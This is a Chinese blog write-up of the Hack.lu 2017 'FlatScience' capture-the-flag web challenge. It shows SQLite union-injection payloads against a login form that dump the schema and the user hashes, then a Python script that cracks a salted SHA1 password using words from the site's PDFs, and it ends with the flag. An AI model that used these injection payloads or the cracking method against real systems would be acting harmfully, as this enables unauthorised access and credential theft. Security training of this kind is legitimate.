攻防世界-web萌新-FlatScience(python处理pdf、sqlite注入)-Hack.lu-2017

版权声明:本文为博主原创文章,转载需注明出处。 https://blog.csdn.net/zz_Caleb/article/details/89323133

日常扫描:

进站后点击链接尝试会让下载pdf文件。(后面要用到pdf文件)

访问robots.txt:

 再依次对这两个页面进行测试:
admin.php无论如何输入都没有什么反馈

login.php在username中输入admin' union select database()时报错:

可以看到是sqlite数据库,表的结构和查询函数和MySQL有所不同。

在这里花了相当长的时间注入,database()在sqlite里面是没有的,未果,最后发现源码:

 url改为login.php?debug,出现了php源码:

 sql查询可以轻松闭合,但是这里并没有要给flag的意思,bp抓包再对username进行注入,看响应头有没有给出信息:

构造usr=' union select name,sql from sqlite_master--+&pw=

为什么要查询sql呢,这涉及到sqlite自带的结构表sqlite_master,sql是sqlite_master中的一个字段,注入时经常用到的,注入后响应头的set-cookie:

 set-cookie也就是:
 

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

这就出现了表名和表中的字段了,仍然在usr处用limit进行移位并查询:

usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=chybeta  
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=chybeta

得到数据:
 

admin        3fab54a50e770d830c0416df817567662a9dc85c     +my+fav+word+in+my+fav+paper?!
fritze       54eae8935c90f467427f05e4ece82cf569f89507     +my+love+is�
hansi        34b0bb7c304949f9ff2fc101eef0f048be10d3bd     +the+password+is+password

上面的源码中的查询语句的password就是对密码+salt进行了sha1,我们登陆的话应该需要利用sha1函数和salt找出密码,admin的hint是 +my+fav+word+in+my+fav+paper?!,那会不会密码藏在pdf文件中呢?

爬取站点中所有的pdf文件,总共30个,然后用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码,拿大佬的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()

if __name__ == "__main__":
	find_password()

跑出admin的密码为:ThinJerboa

在admin.php界面用admin登录得到flag:
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

猜你喜欢

转载自blog.csdn.net/zz_Caleb/article/details/89323133